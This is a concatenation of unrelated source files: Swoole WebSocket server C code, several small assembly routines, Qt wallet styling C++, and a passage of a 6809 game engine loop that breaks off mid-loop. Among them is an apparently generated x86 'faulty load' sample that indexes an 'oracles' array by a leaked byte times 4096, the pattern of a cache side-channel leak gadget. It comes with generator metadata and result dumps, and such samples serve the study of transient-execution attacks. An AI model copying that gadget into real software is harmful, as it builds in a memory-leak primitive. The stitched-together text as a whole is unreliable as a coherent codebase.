SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_MESSAGE_TOO_BIG", WEBSOCKET_CLOSE_MESSAGE_TOO_BIG);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_EXTENSION_MISSING", WEBSOCKET_CLOSE_EXTENSION_MISSING);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_SERVER_ERROR", WEBSOCKET_CLOSE_SERVER_ERROR);
SW_REGISTER_LONG_CONSTANT("SWOOLE_WEBSOCKET_CLOSE_TLS", WEBSOCKET_CLOSE_TLS);
/* swoole namespace }}} */
/* BC */
// status
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_STATUS_CONNECTION", WEBSOCKET_STATUS_CONNECTION);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_STATUS_HANDSHAKE", WEBSOCKET_STATUS_HANDSHAKE);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_STATUS_FRAME", WEBSOCKET_STATUS_ACTIVE);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_STATUS_ACTIVE", WEBSOCKET_STATUS_ACTIVE);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_STATUS_CLOSING", WEBSOCKET_STATUS_CLOSING);
// all opcodes
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_OPCODE_CONTINUATION", WEBSOCKET_OPCODE_CONTINUATION);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_OPCODE_TEXT", WEBSOCKET_OPCODE_TEXT);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_OPCODE_BINARY", WEBSOCKET_OPCODE_BINARY);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_OPCODE_CLOSE", WEBSOCKET_OPCODE_CLOSE);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_OPCODE_PING", WEBSOCKET_OPCODE_PING);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_OPCODE_PONG", WEBSOCKET_OPCODE_PONG);
// close error
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_NORMAL", WEBSOCKET_CLOSE_NORMAL);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_GOING_AWAY", WEBSOCKET_CLOSE_GOING_AWAY);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_PROTOCOL_ERROR", WEBSOCKET_CLOSE_PROTOCOL_ERROR);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_DATA_ERROR", WEBSOCKET_CLOSE_DATA_ERROR);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_STATUS_ERROR", WEBSOCKET_CLOSE_STATUS_ERROR);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_ABNORMAL", WEBSOCKET_CLOSE_ABNORMAL);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_MESSAGE_ERROR", WEBSOCKET_CLOSE_MESSAGE_ERROR);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_POLICY_ERROR", WEBSOCKET_CLOSE_POLICY_ERROR);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_MESSAGE_TOO_BIG", WEBSOCKET_CLOSE_MESSAGE_TOO_BIG);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_EXTENSION_MISSING", WEBSOCKET_CLOSE_EXTENSION_MISSING);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_SERVER_ERROR", WEBSOCKET_CLOSE_SERVER_ERROR);
SW_REGISTER_LONG_CONSTANT("WEBSOCKET_CLOSE_TLS", WEBSOCKET_CLOSE_TLS);
}
static sw_inline bool swoole_websocket_server_push(Server *serv, SessionId fd, String *buffer) {
if (sw_unlikely(fd <= 0)) {
php_swoole_fatal_error(E_WARNING, "fd[%ld] is invalid", fd);
return false;
}
Connection *conn = serv->get_connection_by_session_id(fd);
if (!conn || conn->websocket_status < WEBSOCKET_STATUS_HANDSHAKE) {
swoole_set_last_error(SW_ERROR_WEBSOCKET_UNCONNECTED);
php_swoole_fatal_error(
E_WARNING, "the connected client of connection[%ld] is not a websocket client or closed", fd);
return false;
}
bool ret = serv->send(fd, buffer->str, buffer->length);
if (!ret && swoole_get_last_error() == SW_ERROR_OUTPUT_SEND_YIELD) {
zval _return_value;
zval *return_value = &_return_value;
zval _yield_data;
ZVAL_STRINGL(&_yield_data, buffer->str, buffer->length);
ZVAL_FALSE(return_value);
php_swoole_server_send_yield(serv, fd, &_yield_data, return_value);
ret = Z_BVAL_P(return_value);
}
return ret;
}
static sw_inline bool swoole_websocket_server_close(Server *serv, SessionId fd, String *buffer, bool real_close) {
bool ret = swoole_websocket_server_push(serv, fd, buffer);
if (!ret || !real_close) {
return ret;
}
Connection *conn = serv->get_connection_by_session_id(fd);
if (conn) {
// Change status immediately to avoid double close
conn->websocket_status = WEBSOCKET_STATUS_CLOSING;
// Server close connection immediately
return serv->close(fd, false);
} else {
return false;
}
}
static PHP_METHOD(swoole_websocket_server, disconnect) {
Server *serv = php_swoole_server_get_and_check_server(ZEND_THIS);
if (sw_unlikely(!serv->is_started())) {
php_swoole_fatal_error(E_WARNING, "server is not running");
RETURN_FALSE;
}
zend_long fd = 0;
zend_long code = WEBSOCKET_CLOSE_NORMAL;
char *data = nullptr;
size_t length = 0;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ls", &fd, &code, &data, &length) == FAILURE) {
RETURN_FALSE;
}
swoole_http_buffer->clear();
if (swWebSocket_pack_close_frame(swoole_http_buffer, code, data, length, 0) < 0) {
RETURN_FALSE;
}
RETURN_BOOL(swoole_websocket_server_close(serv, fd, swoole_http_buffer, 1));
}
static PHP_METHOD(swoole_websocket_server, push) {
Server *serv = php_swoole_server_get_and_check_server(ZEND_THIS);
if (sw_unlikely(!serv->is_started())) {
php_swoole_fatal_error(E_WARNING, "server is not running");
RETURN_FALSE;
}
zend_long fd = 0;
zval *zdata = nullptr;
zend_long opcode = WEBSOCKET_OPCODE_TEXT;
zval *zflags = nullptr;
zend_long flags = SW_WEBSOCKET_FLAG_FIN;
#ifdef SW_HAVE_ZLIB
zend_bool allow_compress = 0;
#endif
ZEND_PARSE_PARAMETERS_START(2, 4)
Z_PARAM_LONG(fd)
Z_PARAM_ZVAL(zdata)
Z_PARAM_OPTIONAL
Z_PARAM_LONG(opcode)
Z_PARAM_ZVAL_EX(zflags, 1, 0)
ZEND_PARSE_PARAMETERS_END_EX(RETURN_FALSE);
if (zflags != nullptr) {
flags = zval_get_long(zflags);
}
#ifdef SW_HAVE_ZLIB
Connection *conn = serv->get_connection_verify(fd);
if (!conn) {
RETURN_FALSE;
}
allow_compress = conn->websocket_compression;
#endif
swoole_http_buffer->clear();
if (php_swoole_websocket_frame_is_object(zdata)) {
if (php_swoole_websocket_frame_object_pack(swoole_http_buffer, zdata, 0, allow_compress) < 0) {
RETURN_FALSE;
}
} else {
if (php_swoole_websocket_frame_pack(
swoole_http_buffer, zdata, opcode, flags & SW_WEBSOCKET_FLAGS_ALL, 0, allow_compress) < 0) {
RETURN_FALSE;
}
}
switch (opcode) {
case WEBSOCKET_OPCODE_CLOSE:
RETURN_BOOL(swoole_websocket_server_close(serv, fd, swoole_http_buffer, flags & SW_WEBSOCKET_FLAG_FIN));
break;
default:
RETURN_BOOL(swoole_websocket_server_push(serv, fd, swoole_http_buffer));
}
}
static PHP_METHOD(swoole_websocket_server, pack) {
String *buffer = sw_tg_buffer();
zval *zdata;
zend_long opcode = WEBSOCKET_OPCODE_TEXT;
zval *zflags = nullptr;
zend_long flags = SW_WEBSOCKET_FLAG_FIN;
ZEND_PARSE_PARAMETERS_START(1, 3)
Z_PARAM_ZVAL(zdata)
Z_PARAM_OPTIONAL
Z_PARAM_LONG(opcode)
Z_PARAM_ZVAL_EX(zflags, 1, 0)
ZEND_PARSE_PARAMETERS_END_EX(RETURN_FALSE);
if (zflags != nullptr) {
flags = zval_get_long(zflags);
}
buffer->clear();
if (php_swoole_websocket_frame_is_object(zdata)) {
if (php_swoole_websocket_frame_object_pack(buffer, zdata, 0, 1) < 0) {
RETURN_EMPTY_STRING();
}
} else {
if (php_swoole_websocket_frame_pack(buffer, zdata, opcode, flags & SW_WEBSOCKET_FLAGS_ALL, 0, 1) < 0) {
RETURN_EMPTY_STRING();
}
}
RETURN_STRINGL(buffer->str, buffer->length);
}
static PHP_METHOD(swoole_websocket_frame, __toString) {
String *buffer = sw_tg_buffer();
buffer->clear();
if (php_swoole_websocket_frame_object_pack(buffer, ZEND_THIS, 0, 1) < 0) {
RETURN_EMPTY_STRING();
}
RETURN_STRINGL(buffer->str, buffer->length);
}
static PHP_METHOD(swoole_websocket_server, unpack) {
String buffer = {};
if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &buffer.str, &buffer.length) == FAILURE) {
RETURN_FALSE;
}
php_swoole_websocket_frame_unpack(&buffer, return_value);
}
static PHP_METHOD(swoole_websocket_server, isEstablished) {
Server *serv = php_swoole_server_get_and_check_server(ZEND_THIS);
if (sw_unlikely(!serv->is_started())) {
php_swoole_fatal_error(E_WARNING, "server is not running");
RETURN_FALSE;
}
zend_long fd;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "l", &fd) == FAILURE) {
RETURN_FALSE;
}
Connection *conn = serv->get_connection_by_session_id(fd);
// not isEstablished
if (!conn || conn->active == 0 || conn->closed || conn->websocket_status < WEBSOCKET_STATUS_ACTIVE) {
RETURN_FALSE;
} else {
RETURN_TRUE;
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r14
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x35ea, %r13
nop
and $44295, %r9
mov $0x6162636465666768, %r11
movq %r11, %xmm3
vmovups %ymm3, (%r13)
nop
nop
nop
and %rax, %rax
lea addresses_normal_ht+0x1347a, %r14
nop
nop
add $31097, %r10
movups (%r14), %xmm5
vpextrq $1, %xmm5, %r13
nop
nop
sub $61314, %rax
lea addresses_WT_ht+0x41a, %r11
and %rbx, %rbx
movb $0x61, (%r11)
nop
nop
nop
inc %rbx
lea addresses_WC_ht+0xd01a, %rsi
lea addresses_WT_ht+0x32c2, %rdi
nop
nop
nop
and $14287, %r11
mov $100, %rcx
rep movsb
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_A_ht+0x1dc1a, %rdi
nop
nop
nop
nop
nop
dec %r11
movl $0x61626364, (%rdi)
xor %r13, %r13
lea addresses_WC_ht+0x1ac1a, %r9
nop
xor $48933, %rsi
mov (%r9), %r13d
nop
nop
nop
nop
nop
and %r9, %r9
lea addresses_WT_ht+0xd61a, %r9
sub $8918, %r14
movups (%r9), %xmm6
vpextrq $1, %xmm6, %rax
nop
add $46531, %rsi
lea addresses_WT_ht+0x341a, %r14
nop
nop
nop
nop
nop
sub %rbx, %rbx
mov $0x6162636465666768, %r11
movq %r11, (%r14)
nop
nop
xor %rsi, %rsi
lea addresses_D_ht+0x1941a, %r14
inc %rcx
movw $0x6162, (%r14)
nop
nop
dec %rcx
lea addresses_WC_ht+0x1661a, %rsi
nop
nop
cmp $34539, %rax
mov (%rsi), %r11
nop
nop
nop
xor %r13, %r13
lea addresses_D_ht+0x575a, %rsi
lea addresses_UC_ht+0x10e7a, %rdi
nop
nop
nop
nop
nop
cmp $28883, %r14
mov $4, %rcx
rep movsq
nop
and $7792, %r13
lea addresses_A_ht+0x781a, %rbx
nop
nop
sub $33146, %rax
movb (%rbx), %r13b
nop
nop
nop
nop
nop
cmp $30519, %rbx
lea addresses_A_ht+0x139ba, %rsi
lea addresses_WC_ht+0x1ce1a, %rdi
xor $21711, %r10
mov $36, %rcx
rep movsq
nop
cmp $14543, %rbx
lea addresses_normal_ht+0x1929a, %rbx
nop
nop
nop
nop
nop
inc %rdi
movl $0x61626364, (%rbx)
nop
nop
and %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r14
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %rbp
push %rcx
push %rdi
// Faulty Load
mov $0x2dd34e000000041a, %rbp
nop
sub $2259, %rdi
mov (%rbp), %r12d
lea oracles, %rbp
and $0xff, %r12
shlq $12, %r12
mov (%rbp,%r12,1), %r12
pop %rdi
pop %rcx
pop %rbp
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
SECTION code_fp_am9511
PUBLIC cam32_sdcc_cosh
EXTERN asm_sdcc_read1, _am9511_cosh
.cam32_sdcc_cosh
call asm_sdcc_read1
jp _am9511_cosh
|
;***
;* $Workfile: calcreq.asm $
;* $Revision: 1.0 $
;* $Author: Dave Sewell $
;* $Date: 13 Oct 1989 11:28:00 $
;*
;*****************************************************************************
% .MODEL memmodel
.CODE
;int _fastcall fc_toupper(int value);
@fc_toupper PROC
PUBLIC @fc_toupper
cmp al, 'a'
jb upper_done
cmp ax, 'z'
ja upper_done
sub al, 'a' - 'A'
upper_done: ret
@fc_toupper ENDP
@isdigit PROC
PUBLIC @isdigit
cmp al, '0'
jb false
cmp al, '9'
ja false
true: mov ax, 1
ret
false: xor ax, ax
ret
@isdigit ENDP
END
|
; A185871: (Even,even)-polka dot array in the natural number array A000027, by antidiagonals.
; 5,12,14,23,25,27,38,40,42,44,57,59,61,63,65,80,82,84,86,88,90,107,109,111,113,115,117,119,138,140,142,144,146,148,150,152,173,175,177,179,181,183,185,187,189,212,214,216,218,220,222,224,226,228,230,255,257,259,261,263,265,267,269,271,273,275,302,304,306,308,310,312,314,316,318,320,322,324,353,355,357,359,361,363,365,367,369,371,373,375,377,408,410,412,414,416,418,420,422,424
mul $0,2
mov $1,$0
lpb $1
add $0,3
sub $2,2
sub $0,$2
add $1,$2
lpe
add $0,5
|
extern _ZN4sesh3irq10IRQHandlerEPNS_14InterruptFrameE
global __irq_stub
__irq_stub:
pusha
push ds
push es
push fs
push gs
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov eax, esp
push eax
call _ZN4sesh3irq10IRQHandlerEPNS_14InterruptFrameE
pop eax
pop gs
pop fs
pop es
pop ds
popa
add esp, 8
iret
%macro irq 1
global _ZN4sesh3irq17__irq%1_handlerEv
_ZN4sesh3irq17__irq%1_handlerEv:
cli
push byte 0
push byte %1 + 32
jmp __irq_stub
%endmacro
irq 0x00
irq 0x01
irq 0x02
irq 0x03
irq 0x04
irq 0x05
irq 0x06
irq 0x07
irq 0x08
irq 0x09
irq 0x0A
irq 0x0B
irq 0x0C
irq 0x0D
irq 0x0E
irq 0x0F |
// Copyright (c) 2015 The Bitcoin Core developers
// Copyright (c) 2016-2019 The PIVX developers
// Copyright (c) 2020 The Nasda Cash developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "platformstyle.h"
#include "guiconstants.h"
#include <QApplication>
#include <QColor>
#include <QIcon>
#include <QImage>
#include <QPalette>
#include <QPixmap>
static const struct {
const char* platformId;
/** Show images on push buttons */
const bool imagesOnButtons;
/** Colorize single-color icons */
const bool colorizeIcons;
/** Extra padding/spacing in transactionview */
const bool useExtraSpacing;
} platform_styles[] = {
{"macosx", false, false, true},
{"windows", true, false, false},
/* Other: linux, unix, ... */
{"other", true, false, false}};
static const unsigned platform_styles_count = sizeof(platform_styles) / sizeof(*platform_styles);
namespace
{
/* Local functions for colorizing single-color images */
void MakeSingleColorImage(QImage& img, const QColor& colorbase)
{
img = img.convertToFormat(QImage::Format_ARGB32);
for (int x = img.width(); x--;) {
for (int y = img.height(); y--;) {
const QRgb rgb = img.pixel(x, y);
img.setPixel(x, y, qRgba(colorbase.red(), colorbase.green(), colorbase.blue(), qAlpha(rgb)));
}
}
}
QIcon ColorizeIcon(const QIcon& ico, const QColor& colorbase)
{
QIcon new_ico;
QSize sz;
Q_FOREACH (sz, ico.availableSizes()) {
QImage img(ico.pixmap(sz).toImage());
MakeSingleColorImage(img, colorbase);
new_ico.addPixmap(QPixmap::fromImage(img));
}
return new_ico;
}
QImage ColorizeImage(const QString& filename, const QColor& colorbase)
{
QImage img(filename);
MakeSingleColorImage(img, colorbase);
return img;
}
QIcon ColorizeIcon(const QString& filename, const QColor& colorbase)
{
return QIcon(QPixmap::fromImage(ColorizeImage(filename, colorbase)));
}
}
PlatformStyle::PlatformStyle(const QString& name, bool imagesOnButtons, bool colorizeIcons, bool useExtraSpacing) : name(name),
imagesOnButtons(imagesOnButtons),
colorizeIcons(colorizeIcons),
useExtraSpacing(useExtraSpacing),
singleColor(0, 0, 0),
textColor(0, 0, 0)
{
// Determine icon highlighting color
if (colorizeIcons) {
const QColor colorHighlightBg(QApplication::palette().color(QPalette::Highlight));
const QColor colorHighlightFg(QApplication::palette().color(QPalette::HighlightedText));
const QColor colorText(QApplication::palette().color(QPalette::WindowText));
const int colorTextLightness = colorText.lightness();
QColor colorbase;
if (abs(colorHighlightBg.lightness() - colorTextLightness) < abs(colorHighlightFg.lightness() - colorTextLightness))
colorbase = colorHighlightBg;
else
colorbase = colorHighlightFg;
singleColor = colorbase;
}
// Determine text color
textColor = QColor(QApplication::palette().color(QPalette::WindowText));
}
QImage PlatformStyle::SingleColorImage(const QString& filename) const
{
if (!colorizeIcons)
return QImage(filename);
return ColorizeImage(filename, SingleColor());
}
QIcon PlatformStyle::SingleColorIcon(const QString& filename) const
{
if (!colorizeIcons)
return QIcon(filename);
return ColorizeIcon(filename, SingleColor());
}
QIcon PlatformStyle::SingleColorIcon(const QIcon& icon) const
{
if (!colorizeIcons)
return icon;
return ColorizeIcon(icon, SingleColor());
}
QIcon PlatformStyle::TextColorIcon(const QString& filename) const
{
return ColorizeIcon(filename, TextColor());
}
QIcon PlatformStyle::TextColorIcon(const QIcon& icon) const
{
return ColorizeIcon(icon, TextColor());
}
const PlatformStyle* PlatformStyle::instantiate(const QString& platformId)
{
for (unsigned x = 0; x < platform_styles_count; ++x) {
if (platformId == platform_styles[x].platformId) {
return new PlatformStyle(
platform_styles[x].platformId,
platform_styles[x].imagesOnButtons,
platform_styles[x].colorizeIcons,
platform_styles[x].useExtraSpacing);
}
}
return 0;
}
|
*********************************************************************************
* DynoSprite - main.asm
* Copyright (c) 2013-2014, Richard Goedeken
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*********************************************************************************
***********************************************************
* These initial assembly files don't emit any assembly code
include config.asm
include constants.asm
include datastruct.asm
include macros.asm
* The core of DynoSprite is in the $2000-$3FFF page
* Starting with the direct page globals at $2000
org $2000
include globals.asm
include utility.asm
include math.asm
include system.asm
include memory.asm
include object.asm
include loader.asm
include input.asm
include sound.asm
include menu.asm
include graphics-sprite.asm
***********************************************************
* Startup code
start lds #$4000 * move stack to top of DynoSprite primary code page
lda #$20 * set DP to our global data page at $2000 in globals.asm
tfr a,dp
jsr System_InitHardware
jsr MemMgr_Init * initialize the virtual memory table
clra
jsr System_SetPaletteConst
jsr System_EnableGraphics * go into graphics mode
jsr MemMgr_MoveCode
jsr Disk_DirInit * read FAT and directory entries of disk in current drive
jmp Menu_RunMain * load and display the main menu
***********************************************************
* Main loop
* High-level main loop flow:
* --------------------------
* 1. Wait until flip screen buffer
* 2. Erase all sprites drawn to offscreen buffer pair
* 3. Set new frame background position, update background pixels
* 4. Call Draw on all objects which have ((active & 2) != 0)
* 5. Increment LastRenderedFrame
* 6. Read input status
* 7. Calculate next frame background position
* 8. Iterate through each object in the Current Object Table:
* - If (active & 1) == 0, then call reactivate function
* - else call update function
mainloop
* 1. Wait until vertical retrace IRQ has happened and we need to draw a new frame
lda <Gfx_LastRenderedFrame
ldx #0
! cmpa <Gfx_DisplayedFrame * 4/3
beq beginframe * 3
IFDEF SPEEDTEST
leax 1,x * 5
ELSE
IFNE CPU-6309
sync * fixme: figure out why demo hangs up here with CPU=6309 and audio enabled
ENDC
ENDC
bra < * 3
beginframe
* cpu runs at 1.7897725 MHz
IFDEF SPEEDTEST
lda <Gfx_BkgrndNewX+1
suba <Gfx_BkgrndRedrawOldX+1
ldb <Gfx_BkgrndNewY+1
subb <Gfx_BkgrndRedrawOldY+1
ENDC
* 2. Erase all sprites drawn to offscreen buffer pair
jsr Gfx_SpriteEraseOffscreen
* 3. Extend background pixels for new frame position
* This function expects valid values in Gfx_BkgrndRedrawOldX/Y and Gfx_BkgrndNewX/Y
* and it fills in the new frame's coordinates in Gfx_BkgrndStartXYList and the new
* screen start physical address
jsr Gfx_UpdateBackground
* 4. Call Draw on all objects which have ((active & 2) != 0)
ldb <Gfx_RenderingFrameX4
ldx #Gfx_BkgrndPhyAddrList
abx
lda ,x * cache the new frame's starting physical address
ldx 1,x * for use by the drawing functions
leax 48,x * add 48 bytes to get to visible screen start
sta <Gfx_DrawScreenPage
stx <Gfx_DrawScreenOffset
ldx #Gfx_SpriteErasePtrs
abx
stx <Gfx_SpriteErasePtrPtr * store pointer to erase pointer table for frame being drawn
lda <MemMgr_VirtualTable+VH_BASIC0 * map the BASIC0 block with heap into 6809 address space at $0000
sta $FFA0 * this contains object tables
lda <MemMgr_VirtualTable+VH_SPRERASE
sta $FFA6 * Map sprite erase data to $C000
ldx <Obj_CurrentTablePtr
lda <Obj_NumCurrent
beq DrawObjDone@
DrawObjLoop@
ldb COB.active,x
andb #2
beq SkipDraw@
pshs a,x
ldu COB.odtPtr,x
ldb ODT.drawType,u
bne >
* custom drawing function
IFEQ OBJPAGES-1
lda <MemMgr_VirtualTable+VH_LVLOBJCODE1
ELSE
lda [ODT.vpageAddr,u] * load the page number
ENDC
sta $FFA3 * Map the Level/Object code page to $6000
jsr [ODT.draw,u]
bra ThisObjDrawn@
! cmpb #1
bne >
* standard sprite with no rowcrop
jsr Gfx_SpriteDrawSimple
bra ThisObjDrawn@
* standard sprite with rowcrop
! jsr Gfx_SpriteDrawRowcrop
ThisObjDrawn@
puls a,x
SkipDraw@
